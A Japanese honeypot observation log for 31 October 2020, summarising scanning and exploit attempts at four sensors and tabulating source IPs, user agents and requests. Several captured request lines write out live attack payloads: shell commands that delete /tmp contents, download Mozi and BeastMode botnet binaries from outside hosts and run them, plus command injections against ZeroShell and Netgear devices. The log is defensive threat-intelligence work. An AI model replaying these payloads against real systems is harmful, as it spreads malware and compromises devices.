ハニーポット(仮) 観測記録 2020/10/31分です。
特徴
Location:JP
DrayTek製品の脆弱性を狙うアクセス
Liferay Portal JSON Web Serviceの脆弱性(CVE-2020-7961)を狙うアクセス
PHPUnitの脆弱性(CVE-2017-9841)を狙うアクセス
ThinkPHPの脆弱性を狙うアクセス
XTCによるスキャン行為
zgrabによるスキャン行為
Apache Solrへのスキャン行為
Apache Tomcatへのスキャン行為
WordPress Pluginへのスキャン行為
UserAgentがHello, worldであるアクセス
を確認しました。
/shellに対する以下のアクセスを確認しました。
cd /tmp; rm -rf *; wget 149.3.170.181/bins/uza; chmod 777 /tmp/uza; sh /tmp/uza BeastMode.Rep.Jaws
cd /tmp; rm -rf *; wget 192.210.239.115/beastmode/b3astmode.arm7; chmod 777 /tmp/b3astmode.arm7; sh /tmp/b3astmode.arm7 BeastMode.Rep.Jaws
Location:US
GPONルータの脆弱性を狙うアクセス
NetGear製品の脆弱性を狙うアクセス
Shenzhen TVT製品の脆弱性を狙うアクセス
ZeroShell Linux Routerの脆弱性(CVE-2019-12725)を狙うアクセス
ApiToolによるスキャン行為
zgrabによるスキャン行為
Apache Tomcatへのスキャン行為
phpMyAdminへのスキャン行為
UserAgentがHello, Worldであるアクセス
5[.]188[.]210[.]227に関する不正通信
を確認しました。
Location:UK
DrayTek製品の脆弱性を狙うアクセス
GPONルータの脆弱性を狙うアクセス
PHPUnitの脆弱性(CVE-2017-9841)を狙うアクセス
Shenzhen TVT製品の脆弱性を狙うアクセス
ApiToolによるスキャン行為
XTCによるスキャン行為
zgrabによるスキャン行為
/.envへのスキャン行為
Apache Tomcatへのスキャン行為
UserAgentがHello, worldであるアクセス
を確認しました。
/shellに対する以下のアクセスを確認しました。
cd /tmp; rm -rf *; wget http[:]//117[.]222[.]164[.]100:36551/Mozi.a; chmod 777 Mozi.a; /tmp/Mozi.a jaws
cd /tmp; rm -rf *; wget http[:]//192[.]168[.]1[.]1:8088/Mozi.a; chmod 777 Mozi.a; /tmp/Mozi.a jaws
Location:SG
FCKEditorの脆弱性を狙うアクセス
GPONルータの脆弱性を狙うアクセス
PHPUnitの脆弱性(CVE-2017-9841)を狙うアクセス
zgrabによるスキャン行為
Apache Tomcatへのスキャン行為
WordPressへのスキャン行為
を確認しました。
他
アクセス数推移
JP:総アクセス数:26 (前日比:-98)
US:総アクセス数:143 (前日比:+82)
UK:総アクセス数:25 (前日比:-97)
SG:総アクセス数:58 (前日比:-72)
都合により GET / HTTP/1.1 POST / HTTP/1.1 は除いています。
Location:JP
送信元IPアドレス一覧
| 件数 | 送信元IPアドレス | 国 |
|---|---|---|
| 1 | 35.185.35.34 | United States |
| 2 | 35.228.174.39 | United States |
| 1 | 39.98.144.2 | China |
| 1 | 68.132.136.198 | United States |
| 2 | 80.82.68.67 | Netherlands |
| 1 | 104.215.116.224 | United States |
| 1 | 123.170.98.122 | China |
| 3 | 185.129.62.62 | Denmark |
| 1 | 185.239.242.117 | Netherlands |
| 1 | 188.166.242.78 | Netherlands |
| 1 | 192.241.215.216 | United States |
| 1 | 192.241.227.207 | United States |
| 1 | 192.241.233.213 | United States |
| 8 | 193.27.229.26 | Russia |
| 1 | 202.164.138.147 | India |
UserAgent一覧
| 件数 | UserAgent |
|---|---|
| 3 | - |
| 3 | Go-http-client/1.1 |
| 2 | Hello, world |
| 8 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36 |
| 2 | Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36 |
| 3 | Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36 |
| 1 | Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:76.0) Gecko/20100101 Firefox/76.0 |
| 3 | Mozilla/5.0 zgrab/0.x |
| 1 | XTC |
リクエスト内容一覧
| 件数 | Method | Request | Protocol |
|---|---|---|---|
| 1 | \x16\x03\x01 | ||
| 4 | GET | /.env | HTTP/1.1 |
| 1 | GET | /.git/config | HTTP/1.1 |
| 1 | GET | /?XDEBUG_SESSION_START=phpstorm | HTTP/1.1 |
| 1 | GET | /?a=fetch&content= |
HTTP/1.1 |
| 1 | GET | /config/getuser?index=0 | HTTP/1.1 |
| 1 | GET | /favicon.ico | HTTP/1.1 |
| 1 | GET | /hudson | HTTP/1.1 |
| 1 | GET | /index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP21 | HTTP/1.1 |
| 1 | GET | /manager/html | HTTP/1.1 |
| 1 | GET | /manager/text/list | HTTP/1.1 |
| 1 | GET | /robots.txt | HTTP/1.1 |
| 1 | GET | /shell?cd+/tmp;rm+-rf+*;wget+149.3.170.181/bins/uza;chmod+777+/tmp/uza;sh+/tmp/uza+BeastMode.Rep.Jaws | HTTP/1.1 |
| 1 | GET | /shell?cd+/tmp;rm+-rf+*;wget+192.210.239.115/beastmode/b3astmode.arm7;chmod+777+/tmp/b3astmode.arm7;sh+/tmp/b3astmode.arm7+BeastMode.Rep.Jaws | HTTP/1.1 |
| 1 | GET | /solr/admin/info/system?wt=json | HTTP/1.1 |
| 1 | GET | /v2/_catalog | HTTP/1.1 |
| 1 | GET | /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php | HTTP/1.1 |
| 1 | GET | /wp-content/plugins/wp-file-manager/readme.txt | HTTP/1.1 |
| 1 | OPTIONS | / | HTTP/1.0 |
| 1 | POST | /HNAP1/ | HTTP/1.0 |
| 1 | POST | /api/jsonws/invoke | HTTP/1.1 |
| 1 | POST | /cgi-bin/mainfunction.cgi | HTTP/1.1 |
| 1 | POST | /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php | HTTP/1.1 |
Location:US
送信元IPアドレス一覧
| 件数 | 送信元IPアドレス | 国 |
|---|---|---|
| 1 | 5.188.210.227 | Russia |
| 1 | 24.228.123.191 | United States |
| 2 | 34.95.1.20 | United States |
| 1 | 40.87.106.92 | United States |
| 1 | 42.235.155.225 | China |
| 1 | 49.115.72.56 | China |
| 3 | 51.158.78.179 | France |
| 101 | 94.70.122.153 | Greece |
| 17 | 103.141.104.10 | Indonesia |
| 1 | 110.35.200.29 | South Korea |
| 3 | 111.23.19.149 | China |
| 1 | 115.56.135.104 | China |
| 1 | 117.202.78.9 | India |
| 1 | 175.136.227.150 | Malaysia |
| 1 | 176.113.174.139 | Ukraine |
| 1 | 185.239.242.117 | Netherlands |
| 1 | 192.241.219.58 | United States |
| 1 | 192.241.234.29 | United States |
| 1 | 192.241.235.5 | United States |
| 1 | 192.241.237.52 | United States |
| 1 | 213.108.134.156 | Russia |
| 1 | 219.155.97.160 | China |
UserAgent一覧
| 件数 | UserAgent |
|---|---|
| 30 | - |
| 2 | ApiTool |
| 1 | Hello, World |
| 101 | Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36 |
| 2 | Mozilla/5.0 (Windows NT 6.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.109 Safari/537.36 OPR/53.0.2907.110 |
| 1 | Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36 |
| 1 | Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36 |
| 1 | Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:76.0) Gecko/20100101 Firefox/76.0 |
| 3 | Mozilla/5.0 zgrab/0.x |
| 1 | User-Agent:Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR 1.0.3705 |
リクエスト内容一覧
| 件数 | Method | Request | Protocol |
|---|---|---|---|
| 1 | \x03 | ||
| 3 | \x16\x03\x01 | ||
| 2 | 27;wget%20http[:]//%s:%d/Mozi.m%20-O%20->%20/tmp/Mozi.m;chmod%20777%20/tmp/Mozi.m;/tmp/Mozi.m%20dlink.mips%27$ | HTTP/1.0 | |
| 1 | CONNECT | www[.]bing[.]com/:443 | HTTP/1.1 |
| 1 | GET | /.env | HTTP/1.1 |
| 1 | GET | /boaform/admin/formLogin?username=admin&psd=admin | HTTP/1.0 |
| 1 | GET | /boaform/admin/formLogin?username=adminisp&psd=adminisp | HTTP/1.0 |
| 1 | GET | /boaform/admin/formLogin?username=user&psd=user | HTTP/1.0 |
| 17 | GET | /cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509List&type=*%22;cd%20%2Ftmp;curl%20-O%20http%3A%2F%2F5.206.227.228%2Fzero;sh%20zero;%22 | HTTP/1.0 |
| 1 | GET | /config/getuser?index=0 | HTTP/1.1 |
| 1 | GET | /hudson | HTTP/1.1 |
| 2 | GET | /manager/html | HTTP/1.1 |
| 1 | GET | /manager/text/list | HTTP/1.1 |
| 101 | GET | /phpmyadmin/ | HTTP/1.1 |
| 1 | GET | /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http[:]//192[.]168[.]1[.]1:8088/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/¤tsetting.htm=1 | HTTP/1.0 |
| 1 | GET | http[:]//5[.]188[.]210[.]227/echo.php | HTTP/1.1 |
| 1 | GET | http[:]//www[.]bing[.]com/ | HTTP/1.1 |
| 1 | OPTIONS | / | HTTP/1.0 |
| 1 | POST | /GponForm/diag_Form?images/ | HTTP/1.1 |
| 2 | POST | /editBlackAndWhiteList | HTTP/1.1 |
| 1 | POST | http[:]//lisalancaster[.]site/957d6de7e17ee3bcd71fd3d94846ae36636a485137fbe79a8393b287e2e2a38ac682721609da91b353d432b3f328884056cd7ff0ce1d1c27de99404aa94bc189cc2f150fb3710970af80799f1a436506b6d6df21dd7a6f77bd90314995d1bfdb | HTTP/1.1 |
| 1 | t3 | 12.1.2 |
Location:UK
送信元IPアドレス一覧
| 件数 | 送信元IPアドレス | 国 |
|---|---|---|
| 2 | 35.226.2.219 | United States |
| 1 | 37.187.139.22 | France |
| 1 | 45.153.203.175 | Netherlands |
| 1 | 94.20.64.42 | Azerbaijan |
| 1 | 117.222.164.100 | India |
| 2 | 119.27.191.64 | China |
| 1 | 138.197.141.156 | United States |
| 4 | 157.7.162.55 | Japan |
| 1 | 180.198.30.58 | Japan |
| 1 | 182.113.40.228 | China |
| 1 | 185.239.242.117 | Netherlands |
| 1 | 192.241.234.155 | United States |
| 1 | 192.241.235.115 | United States |
| 1 | 192.241.237.81 | United States |
| 2 | 193.27.229.26 | Russia |
| 1 | 193.106.31.106 | Ukraine |
| 1 | 213.108.134.156 | Russia |
| 1 | 222.83.93.187 | China |
| 1 | 222.137.234.73 | China |
UserAgent一覧
| 件数 | UserAgent |
|---|---|
| 8 | - |
| 1 | ApiTool |
| 2 | Hello, world |
| 2 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36 |
| 2 | Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6) |
| 4 | Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36 |
| 1 | Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:76.0) Gecko/20100101 Firefox/76.0 |
| 3 | Mozilla/5.0 zgrab/0.x |
| 1 | XTC |
| 1 | curl/7.55.1 |
リクエスト内容一覧
| 件数 | Method | Request | Protocol |
|---|---|---|---|
| 1 | - | ||
| 1 | \x03 | ||
| 2 | \x16\x03\x01 | ||
| 1 | GET | /.env | HTTP/1.1 |
| 1 | GET | /TP/index.php | HTTP/1.1 |
| 1 | GET | /TP/public/index.php | HTTP/1.1 |
| 1 | GET | /boaform/admin/formLogin?username=adminisp&psd=adminisp | HTTP/1.0 |
| 1 | GET | /boaform/admin/formLogin?username=user&psd=user | HTTP/1.0 |
| 1 | GET | /config/getuser?index=0 | HTTP/1.1 |
| 1 | GET | /hudson | HTTP/1.1 |
| 1 | GET | /manager/html | HTTP/1.1 |
| 1 | GET | /manager/text/list | HTTP/1.1 |
| 1 | GET | /public/.env | HTTP/1.1 |
| 1 | GET | /shell?cd+/tmp;rm+-rf+*;wget+http[:]//117[.]222[.]164[.]100:36551/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws | HTTP/1.1 |
| 1 | GET | /shell?cd+/tmp;rm+-rf+*;wget+http[:]//192[.]168[.]1[.]1:8088/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws | HTTP/1.1 |
| 1 | GET | /storage/.env | HTTP/1.1 |
| 1 | GET | /vendor/.env | HTTP/1.1 |
| 1 | GET | /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php | HTTP/1.1 |
| 1 | HEAD | / | HTTP/1.0 |
| 1 | OPTIONS | / | HTTP/1.0 |
| 1 | POST | /cgi-bin/mainfunction.cgi | HTTP/1.1 |
| 1 | POST | /editBlackAndWhiteList | HTTP/1.1 |
| 1 | POST | /images.php | HTTP/1.1 |
| 1 | POST | /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php | HTTP/1.1 |
Location:SG
送信元IPアドレス一覧
| 件数 | 送信元IPアドレス | 国 |
|---|---|---|
| 19 | 18.133.184.65 | United States |
| 2 | 35.203.84.149 | United States |
| 1 | 40.87.106.92 | United States |
| 1 | 45.153.203.175 | Netherlands |
| 1 | 61.54.218.45 | China |
| 2 | 80.82.68.59 | Netherlands |
| 26 | 104.215.117.197 | United States |
| 1 | 123.4.88.8 | China |
| 1 | 159.18.94.65 | Canada |
| 1 | 185.239.242.117 | Netherlands |
| 1 | 192.241.235.68 | United States |
| 1 | 192.241.238.60 | United States |
| 1 | 213.108.134.156 | Russia |
UserAgent一覧
| 件数 | UserAgent |
|---|---|
| 7 | - |
| 1 | Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50 |
| 26 | Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0 |
| 2 | Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36 |
| 1 | Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36 |
| 12 | Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0 |
| 1 | Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:76.0) Gecko/20100101 Firefox/76.0 |
| 2 | Mozilla/5.0 zgrab/0.x |
| 6 | python-requests/2.24.0 |
リクエスト内容一覧
| 件数 | Method | Request | Protocol |
|---|---|---|---|
| 1 | \x03 | ||
| 1 | \x16\x03\x01 | ||
| 2 | GET | /.env | HTTP/1.1 |
| 1 | GET | /3CX/ | HTTP/1.1 |
| 1 | GET | /aastra/ | HTTP/1.1 |
| 1 | GET | /admin/includes/general.js | HTTP/1.1 |
| 1 | GET | /admin/view/javascript/common.js | HTTP/1.1 |
| 1 | GET | /administrator/ | HTTP/1.1 |
| 1 | GET | /administrator/help/en-GB/toc.json | HTTP/1.1 |
| 1 | GET | /administrator/language/en-GB/install.xml | HTTP/1.1 |
| 1 | GET | /blog/wp-admin/setup-config.php?step=0 | HTTP/1.1 |
| 1 | GET | /boaform/admin/formLogin?username=adminisp&psd=adminisp | HTTP/1.0 |
| 1 | GET | /boaform/admin/formLogin?username=ec8&psd=ec8 | HTTP/1.0 |
| 1 | GET | /cisco/ | HTTP/1.1 |
| 1 | GET | /cnf/ | HTTP/1.1 |
| 1 | GET | /config/ | HTTP/1.1 |
| 1 | GET | /config/getuser?index=0 | HTTP/1.1 |
| 1 | GET | /configs/ | HTTP/1.1 |
| 1 | GET | /favicon.ico | HTTP/1.1 |
| 1 | GET | /fckeditor/editor/filemanager/connectors/php/upload.php?Type=Media | HTTP/1.1 |
| 1 | GET | /grandstream/ | HTTP/1.1 |
| 1 | GET | /gs/ | HTTP/1.1 |
| 1 | GET | /hudson | HTTP/1.1 |
| 1 | GET | /images/editor/separator.gif | HTTP/1.1 |
| 1 | GET | /ip%20phone/ | HTTP/1.1 |
| 1 | GET | /js/header-rollup-554.js | HTTP/1.1 |
| 1 | GET | /linksys/ | HTTP/1.1 |
| 1 | GET | /manager/html | HTTP/1.1 |
| 1 | GET | /misc/ajax.js | HTTP/1.1 |
| 1 | GET | /panasonic/ | HTTP/1.1 |
| 1 | GET | /phone/ | HTTP/1.1 |
| 1 | GET | /phones/ | HTTP/1.1 |
| 1 | GET | /plugins/system/debug/debug.xml | HTTP/1.1 |
| 1 | GET | /polycom/ | HTTP/1.1 |
| 1 | GET | /prov/ | HTTP/1.1 |
| 1 | GET | /provision/ | HTTP/1.1 |
| 1 | GET | /provisioning/ | HTTP/1.1 |
| 1 | GET | /robots.txt | HTTP/1.1 |
| 1 | GET | /sip/ | HTTP/1.1 |
| 1 | GET | /site/wp-admin/setup-config.php?step=0 | HTTP/1.1 |
| 1 | GET | /snom/ | HTTP/1.1 |
| 1 | GET | /spa/ | HTTP/1.1 |
| 1 | GET | /test/wp-admin/setup-config.php?step=0 | HTTP/1.1 |
| 1 | GET | /tftp/ | HTTP/1.1 |
| 1 | GET | /tftpboot/ | HTTP/1.1 |
| 1 | GET | /tftpphone/ | HTTP/1.1 |
| 1 | GET | /vendor/phpunit/phpunit/build.xml | HTTP/1.1 |
| 1 | GET | /voip/ | HTTP/1.1 |
| 1 | GET | /wordpress/wp-admin/setup-config.php?step=0 | HTTP/1.1 |
| 1 | GET | /wp-admin/setup-config.php?step=0 | HTTP/1.1 |
| 1 | GET | /wp-includes/js/jquery/jquery.js | HTTP/1.1 |
| 1 | GET | /wp/wp-admin/setup-config.php?step=0 | HTTP/1.1 |
| 1 | GET | /xml/ | HTTP/1.1 |
| 1 | GET | /yealink/ | HTTP/1.1 |
| 1 | HEAD | / | HTTP/1.0 |
| 1 | OPTIONS | * | HTTP/1.1 |
| 1 | OPTIONS | / | HTTP/1.0 |